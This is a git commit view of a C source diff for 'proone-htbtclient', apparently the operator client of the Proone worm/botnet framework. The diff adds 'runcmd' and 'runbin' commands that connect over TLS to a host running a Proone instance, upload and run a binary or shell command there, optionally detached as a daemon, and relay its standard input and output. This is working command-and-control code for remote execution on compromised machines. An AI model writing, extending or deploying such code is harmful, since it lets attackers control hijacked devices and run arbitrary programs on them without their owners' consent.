aboutsummaryrefslogtreecommitdiff
path: root/src/proone-htbtclient.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-14 11:06:56 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-14 11:06:56 +1000
commit5c70a63e02ae26bdfae14444d91f5f96bf74f505 (patch)
tree53fc063013b915ae0cec032d50e038ea11b2c3fd /src/proone-htbtclient.c
parent035df3be909e1c2509814f870c2d10edfa23576d (diff)
Impl proone-htbtclient, htbt bugfixes ...
* htbt * Fix stdout-stderr round-robin sending algo in htbt_relay_child() * Fix logic error and crash bug in htbt_slv_srv_bin() * Impl proone-htbtclient runcmd command * Change signature of prne_htbt_set_cmd()
Diffstat (limited to 'src/proone-htbtclient.c')
-rw-r--r--src/proone-htbtclient.c562
1 files changed, 511 insertions, 51 deletions
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
index de4d24e..1f855e0 100644
--- a/src/proone-htbtclient.c
+++ b/src/proone-htbtclient.c
@@ -1,5 +1,6 @@
/*
* No pipelining assumed.
+* Don't handle SIGPIPE.
*/
#include <stdint.h>
#include <inttypes.h>
@@ -14,8 +15,10 @@
#include <regex.h>
#include <termios.h>
#include <unistd.h>
+#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
+#include <sys/stat.h>
#include <mbedtls/ssl.h>
#include <mbedtls/ctr_drbg.h>
@@ -86,6 +89,13 @@
"If only one of the IP addresses is specified, the other will be zero-filled,\n"\
"disabling the use of that IP version(as per RFC1122 abnd RFC4291).\n"\
"\n"
+#define RUNCMD_HELP_STR \
+"Run command on host running Proone instance.\n"\
+"Usage: %s [common options] runcmd [options] [--] <arg0> [arg1 ...]\n"\
+"\n"\
+"Options:\n"\
+" -d, --detach run detached(i.e., run as daemon)\n"\
+"\n"
enum sub_command {
SC_NONE,
@@ -111,7 +121,17 @@ struct {
bool version; // -V or --version used
bool tls_key_pw_arg; // true if tls_key_pw is passed via option
bool no_term; // true if terminal interaction is not permitted
- prne_htbt_hover_t hover_param;
+ union {
+ struct {
+ prne_htbt_hover_t f;
+ } hover;
+ struct {
+ char *bin_path;
+ prne_htbt_bin_meta_t bm;
+ bool detached;
+ } run;
+ } cmd_param;
+ void (*free_cmdparam_f)(void);
} prog_conf;
struct {
@@ -126,11 +146,19 @@ struct {
} ssl;
struct {
mbedtls_net_context ctx;
- prne_iobuf_t ib[2];
+ prne_iobuf_t ib;
} net;
struct {
yaml_emitter_t *emitter;
} yaml;
+ union {
+ struct {
+ prne_iobuf_t ib;
+ prne_htbt_status_t st;
+ bool has_status;
+ } run;
+ } cmd_st;
+ void (*free_cmdst_f)(void);
} prog_g;
static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) {
@@ -141,12 +169,15 @@ static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) {
case SC_HOVER:
fprintf(out_f, HOVER_HELP_STR, prog);
break;
+ case SC_RUNCMD:
+ fprintf(out_f, RUNCMD_HELP_STR, prog);
+ break;
+ // TODO
default: fprintf(out_f, MAIN_HELP_STR, prog, prog);
}
}
static void init_prog_g (void) {
- bool alloc_ret = true;
prne_memzero(&prog_g, sizeof(prog_g)); // so main() is recallable
mbedtls_ssl_config_init(&prog_g.ssl.conf);
@@ -158,33 +189,69 @@ static void init_prog_g (void) {
mbedtls_ssl_init(&prog_g.ssl.ctx);
mbedtls_net_init(&prog_g.net.ctx);
- prne_init_iobuf(prog_g.net.ib + 0);
- prne_init_iobuf(prog_g.net.ib + 1);
- alloc_ret &= prne_alloc_iobuf(
- prog_g.net.ib + 0,
- prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize()));
- alloc_ret &= prne_alloc_iobuf(
- prog_g.net.ib + 1,
- prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize()));
- if (!alloc_ret) {
+ prne_init_iobuf(&prog_g.net.ib);
+ if (!prne_alloc_iobuf(
+ &prog_g.net.ib,
+ prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize())))
+ {
perror("prne_alloc_iobuf()");
abort();
}
}
+static void free_run_g (void) {
+ prne_free_iobuf(&prog_g.cmd_st.run.ib);
+ prne_htbt_free_status(&prog_g.cmd_st.run.st);
+}
+
+static void init_run_g (void) {
+ assert(prog_g.free_cmdst_f == NULL);
+ prne_init_iobuf(&prog_g.cmd_st.run.ib);
+ prne_htbt_init_status(&prog_g.cmd_st.run.st);
+ assert(prne_alloc_iobuf(&prog_g.cmd_st.run.ib, prne_getpagesize()));
+ prog_g.free_cmdst_f = free_run_g;
+}
+
static void deinit_prog_g (void) {
// TODO
+ if (prog_g.free_cmdst_f != NULL) {
+ prog_g.free_cmdst_f();
+ }
}
static void init_prog_conf (void) {
prne_memzero(&prog_conf, sizeof(prog_conf)); // so main() is recallable
-
prog_conf.remote_port = prne_dup_str(STRINGIFY_X(PRNE_HTBT_PROTO_PORT));
- prog_conf.hover_param.v4.port = prog_conf.hover_param.v6.port =
+ prog_conf.prne_vl = PRNE_VL_INFO;
+}
+
+static void free_hover_conf (void) {
+ prne_htbt_free_hover(&prog_conf.cmd_param.hover.f);
+}
+
+static void init_hover_conf (void) {
+ assert(prog_conf.free_cmdparam_f == NULL);
+ prne_htbt_init_hover(&prog_conf.cmd_param.hover.f);
+ prog_conf.cmd_param.hover.f.v4.port =
+ prog_conf.cmd_param.hover.f.v6.port =
PRNE_HTBT_PROTO_PORT;
+
+ prog_conf.free_cmdparam_f = free_hover_conf;
+}
+
+static void free_run_cmd (void) {
+ prne_htbt_free_bin_meta(&prog_conf.cmd_param.run.bm);
+}
+
+static void init_run_conf (void) {
+ prne_htbt_init_bin_meta(&prog_conf.cmd_param.run.bm);
+ prog_conf.free_cmdparam_f = free_run_cmd;
}
static void deinit_prog_conf (void) {
+ if (prog_conf.free_cmdparam_f != NULL) {
+ prog_conf.free_cmdparam_f();
+ }
prne_free(prog_conf.tls_ca);
prne_free(prog_conf.tls_cert);
prne_free(prog_conf.tls_key);
@@ -270,6 +337,7 @@ static int parse_args_hover (const int argc, char *const *args) {
if (!assert_host_arg()) {
return 2;
}
+ init_hover_conf();
while (true) {
f_ret = getopt_long(argc, args, "", lopts, &li);
@@ -280,7 +348,7 @@ static int parse_args_hover (const int argc, char *const *args) {
errno = 0;
if (inet_pton(AF_INET,
optarg,
- prog_conf.hover_param.v4.addr) == 0)
+ prog_conf.cmd_param.hover.f.v4.addr) == 0)
{
ipton_perror("--v4-addr");
return 2;
@@ -291,7 +359,7 @@ static int parse_args_hover (const int argc, char *const *args) {
errno = 0;
if (inet_pton(AF_INET6,
optarg,
- prog_conf.hover_param.v6.addr) == 0)
+ prog_conf.cmd_param.hover.f.v6.addr) == 0)
{
ipton_perror("--v6-addr");
return 2;
@@ -305,17 +373,18 @@ static int parse_args_hover (const int argc, char *const *args) {
p_invarg("--port");
return 2;
}
- prog_conf.hover_param.v4.port = prog_conf.hover_param.v6.port =
+ prog_conf.cmd_param.hover.f.v4.port =
+ prog_conf.cmd_param.hover.f.v6.port =
port;
}
else if (strcmp("v4-port", cur_lo->name) == 0) {
- if (!parse_port(optarg, &prog_conf.hover_param.v4.port)) {
+ if (!parse_port(optarg, &prog_conf.cmd_param.hover.f.v4.port)) {
p_invarg("--v4-port");
return 2;
}
}
else if (strcmp("v6-port", cur_lo->name) == 0) {
- if (!parse_port(optarg, &prog_conf.hover_param.v6.port)) {
+ if (!parse_port(optarg, &prog_conf.cmd_param.hover.f.v6.port)) {
p_invarg("--v6-port");
return 2;
}
@@ -337,19 +406,68 @@ static int parse_args_hover (const int argc, char *const *args) {
return 0;
}
-static int parse_args_runcmd (const int argc, char *const *args) {
+static int parse_args_run (const int argc, char *const *args, const bool bin) {
+ static const struct option lopts[] = {
+ { "detach", no_argument, 0, 0 },
+ { 0, 0, 0, 0 }
+ };
+ int li, f_ret;
+ const struct option *co;
+
if (!assert_host_arg()) {
return 2;
}
- // TODO
- return 0;
-}
+ init_run_conf();
+ init_run_g();
-static int parse_args_runbin (const int argc, char *const *args) {
- if (!assert_host_arg()) {
+ while (true) {
+ f_ret = getopt_long(argc, args, "+d", lopts, &li);
+ switch (f_ret) {
+ case 0:
+ co = (const struct option*)lopts + li;
+ if (strcmp("detach", co->name) == 0) {
+ prog_conf.cmd_param.run.detached = true;
+ }
+ else {
+ abort();
+ }
+ break;
+ case 'd':
+ prog_conf.cmd_param.run.detached = true;
+ break;
+ default:
+ goto LOOP_END;
+ }
+ }
+LOOP_END:
+ if (bin) {
+ if (argc <= optind) {
+ fprintf(stderr, "Path to BIN not specified.\n");
+ return 2;
+ }
+
+ prne_free(prog_conf.cmd_param.run.bin_path);
+ prog_conf.cmd_param.run.bin_path = prne_dup_str(args[optind]);
+ if (prog_conf.cmd_param.run.bin_path == NULL) {
+ perror("prne_dup_str()");
+ abort();
+ }
+
+ optind += 1;
+ }
+
+ if (!bin && argc - optind <= 0) {
+ fprintf(stderr, "No argument specified.\n");
return 2;
}
- // TODO
+ if (!prne_htbt_set_cmd(
+ &prog_conf.cmd_param.run.bm.cmd,
+ (const char**)args + optind))
+ {
+ perror("prne_htbt_set_cmd()");
+ abort();
+ }
+
return 0;
}
@@ -492,8 +610,8 @@ END_LOOP:
switch (prog_conf.cmd) {
case SC_HOSTINFO: ret = parse_args_hostinfo(argc, args); break;
case SC_HOVER: ret = parse_args_hover(argc, args); break;
- case SC_RUNCMD: ret = parse_args_runcmd(argc, args); break;
- case SC_RUNBIN: ret = parse_args_runbin(argc, args); break;
+ case SC_RUNCMD: ret = parse_args_run(argc, args, false); break;
+ case SC_RUNBIN: ret = parse_args_run(argc, args, true); break;
case SC_NYBIN: ret = parse_args_nybin(argc, args); break;
case SC_GETBIN: ret = parse_args_getbin(argc, args); break;
default: fprintf(stderr, "COMMAND not specified.\n");
@@ -860,10 +978,10 @@ static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) {
size_t actual;
prne_htbt_ser_rc_t rc;
- prne_iobuf_reset(prog_g.net.ib + 1);
+ prne_iobuf_reset(&prog_g.net.ib);
rc = ser_f(
- prog_g.net.ib[1].m,
- prog_g.net.ib[1].avail,
+ prog_g.net.ib.m,
+ prog_g.net.ib.avail,
&actual,
frame);
switch (rc) {
@@ -875,13 +993,13 @@ static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) {
fprintf(stderr, "prne_htbt_ser_ft(): %s\n", prne_htbt_serrc_tostr(rc));
return false;
}
- prne_iobuf_shift(prog_g.net.ib + 1, actual);
+ prne_iobuf_shift(&prog_g.net.ib, actual);
- while (prog_g.net.ib[1].len > 0) {
+ while (prog_g.net.ib.len > 0) {
f_ret = mbedtls_ssl_write(
&prog_g.ssl.ctx,
- prog_g.net.ib[1].m,
- prog_g.net.ib[1].len);
+ prog_g.net.ib.m,
+ prog_g.net.ib.len);
if (f_ret == 0) {
raise_proto_err("remote end shutdown read");
return false;
@@ -890,26 +1008,30 @@ static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) {
prne_mbedtls_perror(f_ret, "mbedtls_ssl_write()");
return false;
}
- prne_iobuf_shift(prog_g.net.ib + 1, -f_ret);
+ prne_iobuf_shift(&prog_g.net.ib, -f_ret);
}
return true;
}
+static bool send_mh (const prne_htbt_msg_head_t *mh) {
+ return send_frame(mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head);
+}
+
static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) {
size_t actual;
prne_htbt_ser_rc_t rc;
int f_ret;
while (true) {
- rc = dser_f(prog_g.net.ib[0].m, prog_g.net.ib[0].len, &actual, frame);
+ rc = dser_f(prog_g.net.ib.m, prog_g.net.ib.len, &actual, frame);
switch (rc) {
case PRNE_HTBT_SER_RC_OK:
- prne_iobuf_shift(prog_g.net.ib + 0, -actual);
+ prne_iobuf_shift(&prog_g.net.ib, -actual);
return true;
case PRNE_HTBT_SER_RC_MORE_BUF:
- assert(actual <= prog_g.net.ib[0].size);
+ assert(actual <= prog_g.net.ib.size);
break;
case PRNE_HTBT_SER_RC_ERRNO:
perror("dser_f()");
@@ -923,8 +1045,8 @@ static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) {
f_ret = mbedtls_ssl_read(
&prog_g.ssl.ctx,
- prog_g.net.ib[0].m + prog_g.net.ib[0].len,
- prog_g.net.ib[0].avail);
+ prog_g.net.ib.m + prog_g.net.ib.len,
+ actual);
if (f_ret == 0) {
raise_proto_err("remote end shutdown write");
return false;
@@ -933,7 +1055,7 @@ static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) {
prne_mbedtls_perror(f_ret, "mbedtls_ssl_read()");
return false;
}
- prne_iobuf_shift(prog_g.net.ib + 0, f_ret);
+ prne_iobuf_shift(&prog_g.net.ib, f_ret);
}
}
@@ -954,6 +1076,10 @@ static bool recv_mh (prne_htbt_msg_head_t *mh, const uint16_t *cor_id) {
return true;
}
+static bool recv_status (prne_htbt_status_t *st) {
+ return recv_frame(st, (prne_htbt_dser_ft)prne_htbt_dser_status);
+}
+
static void emit_status_frame (const prne_htbt_status_t *st) {
emit_scalar(YAML_STR_TAG, BODY_TAG_NAME);
@@ -1193,7 +1319,7 @@ static int cmdmain_hostinfo (void) {
goto END;
}
- if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head)) {
+ if (!send_mh(&mh)) {
ret = 1;
goto END;
}
@@ -1213,7 +1339,7 @@ static int cmdmain_hostinfo (void) {
break;
case PRNE_HTBT_OP_STATUS:
ret = 1;
- if (recv_frame(&st, (prne_htbt_dser_ft)prne_htbt_dser_status)) {
+ if (recv_status(&st)) {
start_yaml();
emit_preemble("hostinfo", "status", NULL);
emit_status_frame(&st);
@@ -1240,7 +1366,7 @@ static void emit_hover_opts (void) {
emit_scalar(YAML_STR_TAG, "v4_addr");
if (inet_ntop(
AF_INET,
- prog_conf.hover_param.v4.addr,
+ prog_conf.cmd_param.hover.f.v4.addr,
addr_str,
sizeof(addr_str)) == NULL)
{
@@ -1249,11 +1375,14 @@ static void emit_hover_opts (void) {
}
emit_scalar(YAML_STR_TAG, addr_str);
emit_scalar(YAML_STR_TAG, "v4_port");
- emit_scalar_fmt(YAML_INT_TAG, "%"PRIu16, prog_conf.hover_param.v4.port);
+ emit_scalar_fmt(
+ YAML_INT_TAG,
+ "%"PRIu16,
+ prog_conf.cmd_param.hover.f.v4.port);
emit_scalar(YAML_STR_TAG, "v6_addr");
if (inet_ntop(
AF_INET6,
- prog_conf.hover_param.v6.addr,
+ prog_conf.cmd_param.hover.f.v6.addr,
addr_str,
sizeof(addr_str)) == NULL)
{
@@ -1262,10 +1391,337 @@ static void emit_hover_opts (void) {
}
emit_scalar(YAML_STR_TAG, addr_str);
emit_scalar(YAML_STR_TAG, "v6_port");
- emit_scalar_fmt(YAML_INT_TAG, "%"PRIu16, prog_conf.hover_param.v6.port);
+ emit_scalar_fmt(
+ YAML_INT_TAG,
+ "%"PRIu16,
+ prog_conf.cmd_param.hover.f.v6.port);
emit_mapping_end();
}
+static bool run_setup (const uint16_t msgid) {
+ bool ret = true;
+ int bin_fd = -1;
+ int f_ret;
+ struct stat fs;
+ void *f;
+ prne_htbt_ser_ft ser_f;
+ ssize_t io_ret;
+ prne_htbt_msg_head_t mh;
+
+ prne_htbt_init_msg_head(&mh);
+ mh.id = msgid;
+ mh.is_rsp = false;
+
+ if (prog_conf.cmd_param.run.bin_path != NULL) {
+ bin_fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY);
+ if (bin_fd < 0 || fstat(bin_fd, &fs) != 0) {
+ ret = false;
+ perror(prog_conf.cmd_param.run.bin_path);
+ goto END;
+ }
+ if (fs.st_size > PRNE_HTBT_BIN_LEN_MAX) {
+ errno = EFBIG;
+ ret = false;
+ perror(prog_conf.cmd_param.run.bin_path);
+ goto END;
+ }
+
+ prog_conf.cmd_param.run.bm.bin_size = (uint32_t)fs.st_size;
+ mh.op = PRNE_HTBT_OP_RUN_BIN;
+ f = &prog_conf.cmd_param.run.bm;
+ ser_f = (prne_htbt_ser_ft)prne_htbt_ser_bin_meta;
+ }
+ else {
+ mh.op = PRNE_HTBT_OP_RUN_CMD;
+ f = &prog_conf.cmd_param.run.bm.cmd;
+ ser_f = (prne_htbt_ser_ft)prne_htbt_ser_cmd;
+ fs.st_size = 0;
+ }
+
+ ret = send_mh(&mh) && send_frame(f, ser_f);
+ if (!ret) {
+ goto END;
+ }
+ prne_iobuf_reset(&prog_g.cmd_st.run.ib);
+ while (fs.st_size > 0 || prog_g.cmd_st.run.ib.len > 0) {
+ if (fs.st_size > 0 && prog_g.cmd_st.run.ib.avail > 0) {
+ io_ret = read(
+ bin_fd,
+ prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len,
+ prne_op_min((size_t)fs.st_size, prog_g.cmd_st.run.ib.avail));
+ if (io_ret == 0) {
+ ret = false;
+ fprintf(stderr, "Unexpected EOF whilst reading binary!\n");
+ goto END;
+ }
+ if (io_ret < 0) {
+ ret = false;
+ perror("read()");
+ goto END;
+ }
+
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret);
+ fs.st_size -= io_ret;
+ }
+
+ f_ret = mbedtls_ssl_write(
+ &prog_g.ssl.ctx,
+ prog_g.cmd_st.run.ib.m,
+ prog_g.cmd_st.run.ib.len);
+ if (f_ret == 0) {
+ ret = false;
+ raise_proto_err("remote end shutdown read");
+ goto END;
+ }
+ if (f_ret < 0) {
+ ret = false;
+ prne_mbedtls_perror(f_ret, "mbedtls_ssl_write()");
+ goto END;
+ }
+ if (prog_conf.prne_vl >= PRNE_VL_DBG0) {
+ fprintf(stderr, "run bin upload %d bytes.\n", f_ret);
+ }
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, -f_ret);
+ }
+
+END:
+ prne_close(bin_fd);
+ prne_htbt_free_msg_head(&mh);
+ return ret;
+}
+
+static bool run_sendstd (const uint16_t msgid, int *fd) {
+ bool ret = true;
+ prne_htbt_msg_head_t mh;
+ prne_htbt_stdio_t f;
+ ssize_t io_ret;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_stdio(&f);
+ mh.id = msgid;
+ mh.is_rsp = false;
+ mh.op = PRNE_HTBT_OP_STDIO;
+
+ prne_iobuf_reset(&prog_g.cmd_st.run.ib);
+ io_ret = read(
+ *fd,
+ prog_g.cmd_st.run.ib.m,
+ prog_g.cmd_st.run.ib.avail);
+ if (io_ret < 0) {
+ ret = false;
+ perror("read()");
+ goto END;
+ }
+ if (io_ret == 0) {
+ *fd = -1;
+ f.fin = true;
+ ret =
+ send_mh(&mh) &&
+ send_frame(&f, (prne_htbt_ser_ft)prne_htbt_ser_stdio);
+ goto END;
+ }
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret);
+
+ f.len = io_ret;
+ ret =
+ send_mh(&mh) &&
+ send_frame(&f, (prne_htbt_ser_ft)prne_htbt_ser_stdio);
+ if (!ret) {
+ goto END;
+ }
+ while (prog_g.cmd_st.run.ib.len > 0) {
+ io_ret = mbedtls_ssl_write(
+ &prog_g.ssl.ctx,
+ prog_g.cmd_st.run.ib.m,
+ prog_g.cmd_st.run.ib.len);
+ if (io_ret == 0) {
+ ret = false;
+ raise_proto_err("remote end shutdown read");
+ goto END;
+ }
+ if (io_ret < 0) {
+ prne_mbedtls_perror((int)io_ret, "mbedtls_ssl_write()");
+ goto END;
+ }
+
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, -io_ret);
+ }
+
+END:
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_stdio(&f);
+ return ret;
+}
+
+static bool run_relay_stdout (prne_htbt_stdio_t *f) {
+ ssize_t io_ret;
+
+ prne_iobuf_reset(&prog_g.cmd_st.run.ib);
+ while (f->len > 0 || prog_g.cmd_st.run.ib.len > 0) {
+ if (f->len > 0 && prog_g.cmd_st.run.ib.avail > 0) {
+ io_ret = mbedtls_ssl_read(
+ &prog_g.ssl.ctx,
+ prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len,
+ prne_op_min(f->len, prog_g.cmd_st.run.ib.avail));
+ if (io_ret == 0) {
+ raise_proto_err("remote end shutdown write");
+ return false;
+ }
+ if (io_ret < 0) {
+ prne_mbedtls_perror(io_ret, "mbedtls_ssl_read()");
+ return false;
+ }
+
+ f->len -= io_ret;
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret);
+ }
+ if (prog_g.cmd_st.run.ib.len > 0) {
+ io_ret = write( // This is where the process will be killed on EPIPE
+ f->err ? STDERR_FILENO : STDOUT_FILENO,
+ prog_g.cmd_st.run.ib.m,
+ prog_g.cmd_st.run.ib.len);
+ assert(io_ret != 0);
+ if (io_ret < 0) {
+ perror("write()");
+ return false;
+ }
+
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, -io_ret);
+ }
+ }
+
+ return true;
+}
+
+static bool run_recvstd (const uint16_t msgid, int *fd) {
+ bool ret = true;
+ prne_htbt_msg_head_t mh;
+ prne_htbt_stdio_t f;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_stdio(&f);
+
+ ret = recv_mh(&mh, &msgid);
+ if (!ret) {
+ goto END;
+ }
+ switch (mh.op) {
+ case PRNE_HTBT_OP_STATUS:
+ prog_g.cmd_st.run.has_status = ret = recv_status(&prog_g.cmd_st.run.st);
+ if (!ret) {
+ goto END;
+ }
+ break;
+ case PRNE_HTBT_OP_STDIO:
+ ret =
+ recv_frame(&f, (prne_htbt_dser_ft)prne_htbt_dser_stdio) &&
+ run_relay_stdout(&f);
+ if (!ret) {
+ goto END;
+ }
+ break;
+ default:
+ ret = false;
+ raise_proto_err("invalid response op %"PRIx8"\n", mh.op);
+ goto END;
+ }
+
+END:
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_stdio(&f);
+ return ret;
+}
+
+static bool run_relay (const uint16_t msgid) {
+ bool ret = true;
+ int f_ret;
+ struct pollfd pfd[2];
+
+ pfd[0].fd = STDIN_FILENO;
+ pfd[1].fd = prog_g.net.ctx.fd;
+
+ while (pfd[0].fd >= 0 || pfd[1].fd >= 0) {
+ pfd[0].events = pfd[1].events = POLLIN;
+
+ f_ret = poll(pfd, 2, -1);
+ if (f_ret < 0) {
+ ret = false;
+ perror("poll()");
+ break;
+ }
+ assert(f_ret != 0);
+
+ if (pfd[0].revents != 0 && !run_sendstd(msgid, &pfd[0].fd)) {
+ ret = false;
+ break;
+ }
+ if (pfd[1].revents != 0 && !run_recvstd(msgid, &pfd[1].fd)) {
+ ret = false;
+ break;
+ }
+ if (prog_g.cmd_st.run.has_status) {
+ break;
+ }
+ }
+
+ return ret;
+}
+
+static bool run_recv_status (const uint16_t msgid) {
+ prne_htbt_msg_head_t mh;
+ prne_htbt_status_t st;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_status(&st);
+
+ prog_g.cmd_st.run.has_status =
+ recv_mh(&mh, &msgid) &&
+ recv_status(&st);
+
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_status(&st);
+ return prog_g.cmd_st.run.has_status;
+}
+
+static int cmdmain_run (void) {
+ uint16_t msgid;
+
+ msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
+
+ do { // fake
+ if (!do_connect()) {
+ break;
+ }
+ if (!run_setup(msgid)) {
+ break;
+ }
+ if (!prog_conf.cmd_param.run.detached && !run_relay(msgid)) {
+ break;
+ }
+
+ if (!prog_g.cmd_st.run.has_status && !run_recv_status(msgid)) {
+ break;
+ }
+
+ switch (prog_g.cmd_st.run.st.code) {
+ case PRNE_HTBT_STATUS_OK:
+ return prog_g.cmd_st.run.st.err;
+ case PRNE_HTBT_STATUS_ERRNO:
+ errno = prog_g.cmd_st.run.st.err;
+ perror("Error status");
+ return 1;
+ default:
+ raise_proto_err(
+ "Invalid response: code=%"PRIx8", err=%"PRId32,
+ prog_g.cmd_st.run.st.code,
+ prog_g.cmd_st.run.st.err);
+ return 1;
+ }
+ } while (false);
+
+ return 1;
+}
+
static int cmdmain_hover (void) {
int ret = 0;
uint16_t msgid;
@@ -1286,7 +1742,7 @@ static int cmdmain_hover (void) {
if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head) ||
!send_frame(
- &prog_conf.hover_param,
+ &prog_conf.cmd_param.hover.f,
(prne_htbt_ser_ft)prne_htbt_ser_hover))
{
ret = 1;
@@ -1302,7 +1758,7 @@ static int cmdmain_hover (void) {
goto END;
}
- if (!recv_frame(&st, (prne_htbt_dser_ft)prne_htbt_dser_status)) {
+ if (!recv_status(&st)) {
ret = 1;
goto END;
}
@@ -1345,9 +1801,13 @@ int main (const int argc, char *const *args) {
}
switch (prog_conf.cmd) {
- // TODO
case SC_HOSTINFO: ec = cmdmain_hostinfo(); break;
case SC_HOVER: ec = cmdmain_hover(); break;
+ case SC_RUNCMD:
+ case SC_RUNBIN:
+ ec = cmdmain_run();
+ break;
+ // TODO
default:
ec = 1;
fprintf(stderr, "COMMAND not implemented.\n");